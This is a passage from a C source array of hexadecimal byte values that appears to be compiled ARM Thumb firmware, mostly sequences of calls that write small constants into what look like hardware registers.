0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0xd0u, 0xf8u, 0x04u, 0x23u, 0x06u, 0x22u, 0x08u, 0x21u, 0x20u, 0x00u,
0xffu, 0xf7u, 0x14u, 0xfbu, 0x09u, 0x22u, 0x08u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x77u, 0xfau,
0xe0u, 0x4bu, 0x3du, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0xbeu, 0xf8u, 0xdeu, 0x4bu, 0x37u, 0x22u,
0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0xb8u, 0xf8u, 0xdcu, 0x4bu, 0x20u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u,
0x01u, 0xf0u, 0xb2u, 0xf8u, 0x09u, 0x22u, 0x07u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x5fu, 0xfau,
0xd4u, 0x4bu, 0x3du, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0xa6u, 0xf8u, 0xd2u, 0x4bu, 0x37u, 0x22u,
0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0xa0u, 0xf8u, 0x04u, 0x23u, 0x06u, 0x22u, 0x07u, 0x21u, 0x20u, 0x00u,
0xffu, 0xf7u, 0xe4u, 0xfau, 0xceu, 0x4bu, 0x20u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x94u, 0xf8u,
0x09u, 0x22u, 0x07u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x41u, 0xfau, 0xc5u, 0x4bu, 0x3du, 0x22u,
0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x88u, 0xf8u, 0xc3u, 0x4bu, 0x37u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u,
0x01u, 0xf0u, 0x82u, 0xf8u, 0x07u, 0x22u, 0x02u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xc6u, 0xfau,
0x09u, 0x22u, 0x07u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x16u, 0xfau, 0xbdu, 0x4bu, 0x36u, 0x22u,
0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x70u, 0xf8u, 0x07u, 0x22u, 0x01u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u,
0xffu, 0xf7u, 0xb4u, 0xfau, 0x09u, 0x22u, 0x07u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x17u, 0xfau,
0xb0u, 0x4bu, 0x3du, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x5eu, 0xf8u, 0xaeu, 0x4bu, 0x37u, 0x22u,
0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x58u, 0xf8u, 0x01u, 0x23u, 0x07u, 0x22u, 0x08u, 0x21u, 0x20u, 0x00u,
0xffu, 0xf7u, 0x9cu, 0xfau, 0x09u, 0x22u, 0x08u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xecu, 0xf9u,
0xa8u, 0x4bu, 0x36u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x46u, 0xf8u, 0xa6u, 0x4bu, 0x20u, 0x22u,
0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x40u, 0xf8u, 0x09u, 0x22u, 0x07u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u,
0xffu, 0xf7u, 0xedu, 0xf9u, 0x9bu, 0x4bu, 0x3du, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x34u, 0xf8u,
0x99u, 0x4bu, 0x37u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x2eu, 0xf8u, 0x9bu, 0x4bu, 0x20u, 0x22u,
0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x28u, 0xf8u, 0x09u, 0x22u, 0x07u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u,
0xffu, 0xf7u, 0xd5u, 0xf9u, 0x8fu, 0x4bu, 0x3du, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x1cu, 0xf8u,
0x8du, 0x4bu, 0x37u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x16u, 0xf8u, 0x09u, 0x22u, 0x07u, 0x23u,
0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xc3u, 0xf9u, 0x86u, 0x4bu, 0x3du, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u,
0x01u, 0xf0u, 0x0au, 0xf8u, 0x84u, 0x4bu, 0x37u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x04u, 0xf8u,
0xe1u, 0x23u, 0x20u, 0x22u, 0xdbu, 0x01u, 0x00u, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u, 0xfdu, 0xffu, 0x09u, 0x22u,
0x07u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xaau, 0xf9u, 0x7au, 0x4bu, 0x3du, 0x22u, 0x00u, 0x21u,
0x20u, 0x00u, 0x00u, 0xf0u, 0xf1u, 0xffu, 0x78u, 0x4bu, 0x37u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u,
0xebu, 0xffu, 0x7bu, 0x4bu, 0x20u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u, 0xe5u, 0xffu, 0x09u, 0x22u,
0x07u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x7fu, 0xf9u, 0x72u, 0x4bu, 0x36u, 0x22u, 0x00u, 0x21u,
0x20u, 0x00u, 0x00u, 0xf0u, 0xd9u, 0xffu, 0x71u, 0x4bu, 0x20u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u,
0xd3u, 0xffu, 0x09u, 0x22u, 0x07u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x6du, 0xf9u, 0x69u, 0x4bu,
0x36u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u, 0xc7u, 0xffu, 0x6au, 0x4bu, 0x20u, 0x22u, 0x00u, 0x21u,
0x20u, 0x00u, 0x00u, 0xf0u, 0xc1u, 0xffu, 0x09u, 0x22u, 0x07u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u,
0x5bu, 0xf9u, 0x60u, 0x4bu, 0x36u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u, 0xb5u, 0xffu, 0x60u, 0x4bu,
0x20u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u, 0xafu, 0xffu, 0x09u, 0x22u, 0x07u, 0x23u, 0x11u, 0x00u,
0x20u, 0x00u, 0xffu, 0xf7u, 0x5cu, 0xf9u, 0x53u, 0x4bu, 0x3du, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u,
0xa3u, 0xffu, 0x51u, 0x4bu, 0x37u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u, 0x9du, 0xffu, 0x53u, 0x4bu,
0x20u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u, 0x97u, 0xffu, 0x09u, 0x22u, 0x07u, 0x23u, 0x11u, 0x00u,
0x20u, 0x00u, 0xffu, 0xf7u, 0x44u, 0xf9u, 0x47u, 0x4bu, 0x3du, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u,
0x8bu, 0xffu, 0x00u, 0x21u, 0x44u, 0x4bu, 0x37u, 0x22u, 0x20u, 0x00u, 0x00u, 0xf0u, 0x85u, 0xffu, 0xe0u, 0x21u,
0x49u, 0x00u, 0xffu, 0xf7u, 0x69u, 0xfbu, 0x20u, 0x00u, 0xffu, 0xf7u, 0xeau, 0xf9u, 0x01u, 0x21u, 0x20u, 0x00u,
0xffu, 0xf7u, 0xd8u, 0xf9u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xdcu, 0xf9u, 0x09u, 0xb0u, 0xf0u, 0xbdu, 0x42u, 0x4bu,
0x18u, 0x78u, 0x01u, 0x38u, 0x04u, 0x28u, 0xf1u, 0xd8u, 0x04u, 0xf0u, 0xc8u, 0xf8u, 0x05u, 0x00u, 0x84u, 0x00u,
0xd1u, 0x00u, 0xc7u, 0x01u, 0xedu, 0xffu, 0x20u, 0x00u, 0xffu, 0xf7u, 0x76u, 0xf9u, 0x01u, 0x22u, 0x04u, 0x21u,
0x20u, 0x00u, 0xffu, 0xf7u, 0x78u, 0xf9u, 0x00u, 0x22u, 0x05u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x73u, 0xf9u,
0x02u, 0x22u, 0x00u, 0x21u, 0xffu, 0x32u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x76u, 0xf9u, 0x80u, 0x22u, 0x01u, 0x21u,
0x52u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x70u, 0xf9u, 0x40u, 0x22u, 0x02u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u,
0x7fu, 0xf9u, 0xc0u, 0x22u, 0x03u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x7au, 0xf9u, 0x03u, 0x23u, 0x05u, 0x22u,
0x01u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x8au, 0xf9u, 0x05u, 0x22u, 0x04u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u,
0xe5u, 0xf8u, 0x04u, 0x23u, 0x01u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xe8u, 0xf8u, 0x23u, 0x4bu,
0x20u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u, 0x2fu, 0xffu, 0x00u, 0x22u, 0x01u, 0x23u, 0x11u, 0x00u,
0x20u, 0x00u, 0xffu, 0xf7u, 0xdcu, 0xf8u, 0x03u, 0x23u, 0x00u, 0x22u, 0x01u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u,
0x6du, 0xf9u, 0x00u, 0x23u, 0x01u, 0x22u, 0x04u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xd0u, 0xf8u, 0x17u, 0x4bu,
0x20u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u, 0x17u, 0xffu, 0x04u, 0x22u, 0x01u, 0x23u, 0x11u, 0x00u,
0x20u, 0x00u, 0xffu, 0xf7u, 0xc4u, 0xf8u, 0x4eu, 0x23u, 0x3du, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u,
0x0bu, 0xffu, 0x00u, 0x21u, 0x0eu, 0x4bu, 0x37u, 0x22u, 0x20u, 0x00u, 0x00u, 0xf0u, 0x05u, 0xffu, 0x03u, 0x21u,
0xffu, 0xf7u, 0xeau, 0xfau, 0x9eu, 0x00u, 0x40u, 0x00u, 0x9eu, 0x90u, 0x30u, 0x00u, 0x82u, 0x70u, 0x00u, 0x00u,
0x73u, 0x70u, 0x00u, 0x00u, 0x9eu, 0x90u, 0x40u, 0x00u, 0x72u, 0x70u, 0x00u, 0x00u, 0x70u, 0x70u, 0x00u, 0x00u,
0x71u, 0x70u, 0x00u, 0x00u, 0x60u, 0x70u, 0x00u, 0x00u, 0x34u, 0x05u, 0x00u, 0x08u, 0x12u, 0x10u, 0x00u, 0x00u,
0x4eu, 0x40u, 0x30u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xf7u, 0xf8u, 0x20u, 0x00u, 0x01u, 0x22u, 0x04u, 0x21u,
0xffu, 0xf7u, 0xf9u, 0xf8u, 0x20u, 0x00u, 0x00u, 0x22u, 0x05u, 0x21u, 0xffu, 0xf7u, 0xf4u, 0xf8u, 0x42u, 0x22u,
0x20u, 0x00u, 0xffu, 0x32u, 0x00u, 0x21u, 0xffu, 0xf7u, 0xf7u, 0xf8u, 0xa0u, 0x22u, 0x20u, 0x00u, 0x52u, 0x00u,
0x01u, 0x21u, 0xffu, 0xf7u, 0xf1u, 0xf8u, 0x20u, 0x00u, 0x60u, 0x22u, 0x02u, 0x21u, 0xffu, 0xf7u, 0x00u, 0xf9u,
0x20u, 0x00u, 0xe0u, 0x22u, 0x03u, 0x21u, 0xffu, 0xf7u, 0xfbu, 0xf8u, 0x03u, 0x23u, 0x20u, 0x00u, 0x05u, 0x22u,
0x01u, 0x21u, 0xffu, 0xf7u, 0x0bu, 0xf9u, 0x20u, 0x00u, 0x05u, 0x22u, 0x04u, 0x21u, 0xffu, 0xf7u, 0x66u, 0xf8u,
0x20u, 0x00u, 0x01u, 0x23u, 0x04u, 0x22u, 0x00u, 0x21u, 0xffu, 0xf7u, 0x56u, 0xf8u, 0x20u, 0x00u, 0xbfu, 0x4bu,
0x20u, 0x22u, 0x00u, 0x21u, 0x00u, 0xf0u, 0xb0u, 0xfeu, 0x00u, 0x22u, 0x20u, 0x00u, 0x11u, 0x00u, 0x01u, 0x23u,
0xffu, 0xf7u, 0x5du, 0xf8u, 0x20u, 0x00u, 0x03u, 0x23u, 0x00u, 0x22u, 0x01u, 0x21u, 0xffu, 0xf7u, 0xeeu, 0xf8u,
0x01u, 0x23u, 0x00u, 0x22u, 0x04u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x3eu, 0xf8u, 0x7fu, 0xe7u, 0x1cu, 0x22u,
0xb3u, 0x49u, 0x01u, 0xa8u, 0x04u, 0xf0u, 0x92u, 0xf8u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xa5u, 0xf8u, 0x01u, 0x22u,
0x03u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xa7u, 0xf8u, 0x00u, 0x22u, 0x04u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u,
0xa2u, 0xf8u, 0xe0u, 0x22u, 0x05u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xa6u, 0xf8u, 0xf0u, 0x22u, 0x00u, 0x21u,
0x52u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xa0u, 0xf8u, 0x80u, 0x22u, 0x01u, 0x21u, 0x52u, 0x00u, 0x20u, 0x00u,
0xffu, 0xf7u, 0x9au, 0xf8u, 0x80u, 0x22u, 0x02u, 0x21u, 0x52u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xa8u, 0xf8u,
0xe0u, 0x23u, 0x01u, 0xaau, 0x05u, 0x21u, 0x20u, 0x00u, 0x02u, 0xf0u, 0x30u, 0xfeu, 0x02u, 0x23u, 0x04u, 0x22u,
0x01u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xb2u, 0xf8u, 0x04u, 0x22u, 0x03u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u,
0x0du, 0xf8u, 0x15u, 0x23u, 0x33u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u, 0x5du, 0xfeu, 0x00u, 0x22u,
0x03u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x0au, 0xf8u, 0x02u, 0x23u, 0x00u, 0x22u, 0x01u, 0x21u,
0x20u, 0x00u, 0xffu, 0xf7u, 0x9bu, 0xf8u, 0x00u, 0x22u, 0x03u, 0x21u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0xf6u, 0xffu,
0x15u, 0x23u, 0x33u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u, 0x46u, 0xfeu, 0x00u, 0x22u, 0x03u, 0x23u,
0x11u, 0x00u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0xf3u, 0xffu, 0x02u, 0x23u, 0x00u, 0x22u, 0x01u, 0x21u, 0x20u, 0x00u,
0xffu, 0xf7u, 0x84u, 0xf8u, 0x00u, 0x22u, 0x03u, 0x21u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0xdfu, 0xffu, 0x15u, 0x23u,
0x33u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u, 0x2fu, 0xfeu, 0x00u, 0x22u, 0x03u, 0x23u, 0x11u, 0x00u,
0x20u, 0x00u, 0xfeu, 0xf7u, 0xdcu, 0xffu, 0x02u, 0x23u, 0x00u, 0x22u, 0x01u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u,
0x6du, 0xf8u, 0x00u, 0x22u, 0x03u, 0x21u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0xc8u, 0xffu, 0x15u, 0x23u, 0x33u, 0x22u,
0x00u, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u, 0x18u, 0xfeu, 0x00u, 0x22u, 0x03u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u,
0xfeu, 0xf7u, 0xc5u, 0xffu, 0x02u, 0x23u, 0x00u, 0x22u, 0x01u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x56u, 0xf8u,
0x00u, 0x22u, 0x03u, 0x21u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0xb1u, 0xffu, 0x15u, 0x23u, 0x33u, 0x22u, 0x00u, 0x21u,
0x20u, 0x00u, 0x00u, 0xf0u, 0x01u, 0xfeu, 0x00u, 0x22u, 0x03u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xfeu, 0xf7u,
0xaeu, 0xffu, 0x02u, 0x23u, 0x00u, 0x22u, 0x01u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x3fu, 0xf8u, 0x00u, 0x22u,
0x03u, 0x21u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0x9au, 0xffu, 0x15u, 0x23u, 0x33u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u,
0x00u, 0xf0u, 0xeau, 0xfdu, 0x00u, 0x22u, 0x03u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0x97u, 0xffu,
0x02u, 0x23u, 0x00u, 0x22u, 0x01u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x28u, 0xf8u, 0x00u, 0x22u, 0x03u, 0x21u,
0x20u, 0x00u, 0xfeu, 0xf7u, 0x83u, 0xffu, 0x15u, 0x23u, 0x33u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u,
0xd3u, 0xfdu, 0x00u, 0x22u, 0x03u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0x80u, 0xffu, 0x02u, 0x23u,
0x00u, 0x22u, 0x01u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x11u, 0xf8u, 0x00u, 0x22u, 0x03u, 0x21u, 0x20u, 0x00u,
0xfeu, 0xf7u, 0x6cu, 0xffu, 0x15u, 0x23u, 0x33u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u, 0xbcu, 0xfdu,
0x03u, 0x23u, 0x00u, 0x22u, 0x19u, 0x00u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0x69u, 0xffu, 0x3eu, 0x23u, 0x3du, 0x22u,
0x00u, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u, 0xb0u, 0xfdu, 0x00u, 0x21u, 0x3eu, 0x4bu, 0x37u, 0x22u, 0x20u, 0x00u,
0x00u, 0xf0u, 0xaau, 0xfdu, 0x23u, 0x21u, 0xffu, 0xf7u, 0x8fu, 0xf9u, 0x39u, 0x49u, 0x11u, 0x22u, 0x1cu, 0x31u,
0x01u, 0xa8u, 0x03u, 0xf0u, 0x9bu, 0xffu, 0x20u, 0x00u, 0xfeu, 0xf7u, 0xaeu, 0xffu, 0x01u, 0x22u, 0x04u, 0x21u,
0x20u, 0x00u, 0xfeu, 0xf7u, 0xb0u, 0xffu, 0x00u, 0x22u, 0x05u, 0x21u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0xabu, 0xffu,
0x31u, 0x4au, 0x00u, 0x21u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0xafu, 0xffu, 0xf0u, 0x22u, 0x01u, 0x21u, 0x52u, 0x00u,
0x20u, 0x00u, 0xfeu, 0xf7u, 0xa9u, 0xffu, 0x81u, 0x22u, 0x06u, 0x21u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0xa4u, 0xffu,
0x60u, 0x22u, 0x02u, 0x21u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0xb3u, 0xffu, 0xc0u, 0x22u, 0x03u, 0x21u, 0x52u, 0x00u,
0x20u, 0x00u, 0xfeu, 0xf7u, 0xadu, 0xffu, 0x81u, 0x23u, 0x01u, 0xaau, 0x06u, 0x21u, 0x20u, 0x00u, 0x02u, 0xf0u,
0x35u, 0xfdu, 0x03u, 0x23u, 0x05u, 0x22u, 0x01u, 0x21u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0xb7u, 0xffu, 0x05u, 0x22u,
0x04u, 0x21u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0x12u, 0xffu, 0x16u, 0x23u, 0x33u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u,
0x00u, 0xf0u, 0x62u, 0xfdu, 0x00u, 0x22u, 0x04u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0x0fu, 0xffu,
0x03u, 0x23u, 0x00u, 0x22u, 0x01u, 0x21u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0xa0u, 0xffu, 0x00u, 0x22u, 0x04u, 0x21u,
0x20u, 0x00u, 0xfeu, 0xf7u, 0xfbu, 0xfeu, 0x16u, 0x23u, 0x33u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u,
0x4bu, 0xfdu, 0x04u, 0x23u, 0x00u, 0x22u, 0x19u, 0x00u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0xf8u, 0xfeu, 0x4eu, 0x23u,
0x3du, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u, 0x3fu, 0xfdu, 0x00u, 0x21u, 0x07u, 0x4bu, 0x37u, 0x22u,
0x20u, 0x00u, 0x00u, 0xf0u, 0x39u, 0xfdu, 0x43u, 0x21u, 0xffu, 0xf7u, 0x1eu, 0xf9u, 0x12u, 0x10u, 0x00u, 0x00u,
0x6du, 0x73u, 0x00u, 0x10u, 0x3eu, 0x30u, 0x30u, 0x00u, 0x01u, 0x02u, 0x00u, 0x00u, 0x4eu, 0x40u, 0x30u, 0x00u,
0x70u, 0xb5u, 0x0cu, 0x00u, 0x05u, 0x00u, 0xfeu, 0xf7u, 0xdau, 0xfeu, 0x09u, 0x4bu, 0x26u, 0x01u, 0x33u, 0x43u,
0x28u, 0x00u, 0x3du, 0x22u, 0x00u, 0x21u, 0x00u, 0xf0u, 0x1fu, 0xfdu, 0x24u, 0x03u, 0x05u, 0x4bu, 0x34u, 0x43u,
0x28u, 0x00u, 0x23u, 0x43u, 0x37u, 0x22u, 0x00u, 0x21u, 0x00u, 0xf0u, 0x16u, 0xfdu, 0x70u, 0xbdu, 0xc0u, 0x46u,
0x0eu, 0x00u, 0x40u, 0x00u, 0x0eu, 0x00u, 0x30u, 0x00u, 0x70u, 0xb5u, 0x0cu, 0x00u, 0x05u, 0x00u, 0xfeu, 0xf7u,
0xabu, 0xfeu, 0x23u, 0x03u, 0x24u, 0x01u, 0x1cu, 0x43u, 0x03u, 0x4bu, 0x28u, 0x00u, 0x23u, 0x43u, 0x36u, 0x22u,
0x00u, 0x21u, 0x00u, 0xf0u, 0x01u, 0xfdu, 0x70u, 0xbdu, 0x0eu, 0x00u, 0x40u, 0x00u, 0xf8u, 0xb5u, 0x14u, 0x00u,
0x06u, 0x00u, 0x0du, 0x00u, 0x13u, 0x00u, 0x00u, 0x21u, 0x3fu, 0x22u, 0x00u, 0xf0u, 0xf5u, 0xfcu, 0x27u, 0x01u,
0x0eu, 0x4bu, 0x24u, 0x03u, 0x3cu, 0x43u, 0x23u, 0x43u, 0x36u, 0x22u, 0x00u, 0x21u, 0x30u, 0x00u, 0x00u, 0xf0u,
0xebu, 0xfcu, 0x0bu, 0x4bu, 0x2du, 0x03u, 0x1bu, 0x68u, 0x29u, 0x33u, 0x1bu, 0x78u, 0x1fu, 0x2bu, 0x07u, 0xd8u,
0x2bu, 0x00u, 0x26u, 0x22u, 0x3bu, 0x43u, 0x30u, 0x00u, 0x00u, 0x21u, 0x00u, 0xf0u, 0xddu, 0xfcu, 0xf8u, 0xbdu,
0x0fu, 0x23u, 0x2bu, 0x43u, 0x3bu, 0x43u, 0x25u, 0x22u, 0xf5u, 0xe7u, 0xc0u, 0x46u, 0x0eu, 0x00u, 0x80u, 0x00u,
0x34u, 0x07u, 0x00u, 0x08u, 0x07u, 0xb5u, 0x00u, 0x93u, 0x13u, 0x00u, 0xfeu, 0xf7u, 0xf5u, 0xffu, 0x07u, 0xbdu,
0xf8u, 0xb5u, 0x04u, 0x00u, 0x17u, 0x00u, 0x1eu, 0x00u, 0x0du, 0x00u, 0xfeu, 0xf7u, 0xd5u, 0xfeu, 0x3au, 0x00u,
0x07u, 0x21u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0xd7u, 0xfeu, 0x32u, 0x00u, 0x08u, 0x21u, 0x20u, 0x00u, 0xfeu, 0xf7u,
0xd2u, 0xfeu, 0x2au, 0x00u, 0x0bu, 0x21u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0xcdu, 0xfeu, 0x06u, 0x9au, 0x09u, 0x21u,
0x20u, 0x00u, 0xfeu, 0xf7u, 0xd1u, 0xfeu, 0x06u, 0x9au, 0x0au, 0x21u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0xccu, 0xfeu,
0x06u, 0x9au, 0x0cu, 0x21u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0xc7u, 0xfeu, 0x08u, 0x22u, 0x09u, 0x21u, 0x20u, 0x00u,
0xfeu, 0xf7u, 0x4cu, 0xfeu, 0x0eu, 0x22u, 0x0au, 0x21u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0x47u, 0xfeu, 0x07u, 0x22u,
0x0bu, 0x21u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0x42u, 0xfeu, 0xc0u, 0x23u, 0x34u, 0x22u, 0x1bu, 0x02u, 0x00u, 0x21u,
0x20u, 0x00u, 0x00u, 0xf0u, 0x91u, 0xfcu, 0x3fu, 0x26u, 0x9au, 0x23u, 0x3du, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u,
0x00u, 0xf0u, 0x8au, 0xfcu, 0x20u, 0x00u, 0xfeu, 0xf7u, 0x5du, 0xfeu, 0x09u, 0x23u, 0x32u, 0x00u, 0x00u, 0x21u,
0x07u, 0x00u, 0x20u, 0x00u, 0x00u, 0xf0u, 0x80u, 0xfcu, 0x20u, 0x00u, 0xfeu, 0xf7u, 0x53u, 0xfeu, 0x0au, 0x23u,
0x05u, 0x00u, 0x32u, 0x00u, 0x00u, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u, 0x76u, 0xfcu, 0x20u, 0x00u, 0xfeu, 0xf7u,
0x49u, 0xfeu, 0x02u, 0x23u, 0x1du, 0x40u, 0x7au, 0x07u, 0x3bu, 0xd4u, 0x00u, 0x2du, 0x0au, 0xd0u, 0x09u, 0x22u,
0x20u, 0x00u, 0x11u, 0x00u, 0xfeu, 0xf7u, 0x4au, 0xfeu, 0x0bu, 0x22u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u,
0x65u, 0xffu, 0xd1u, 0xe7u, 0x18u, 0x42u, 0x06u, 0xd0u, 0x0au, 0x22u, 0x20u, 0x00u, 0x11u, 0x00u, 0xfeu, 0xf7u,
0x3du, 0xfeu, 0x0cu, 0x22u, 0xf1u, 0xe7u, 0xfbu, 0x07u, 0x11u, 0xd5u, 0x09u, 0x22u, 0x0au, 0x23u, 0x11u, 0x00u,
0x20u, 0x00u, 0xfeu, 0xf7u, 0xf1u, 0xfdu, 0x09u, 0x22u, 0x20u, 0x00u, 0x11u, 0x00u, 0xfeu, 0xf7u, 0x2eu, 0xfeu,
0x0bu, 0x22u, 0x0cu, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x36u, 0xffu, 0xdcu, 0xe7u, 0x0au, 0x22u,
0x09u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0xdfu, 0xfdu, 0x0au, 0x22u, 0x20u, 0x00u, 0x11u, 0x00u,
0xfeu, 0xf7u, 0x1cu, 0xfeu, 0x0cu, 0x22u, 0x0bu, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x24u, 0xffu,
0xd7u, 0xe7u, 0xb0u, 0x21u, 0x20u, 0x00u, 0x49u, 0x01u, 0xfeu, 0xf7u, 0x8cu, 0xfeu, 0x20u, 0x00u, 0xfeu, 0xf7u,
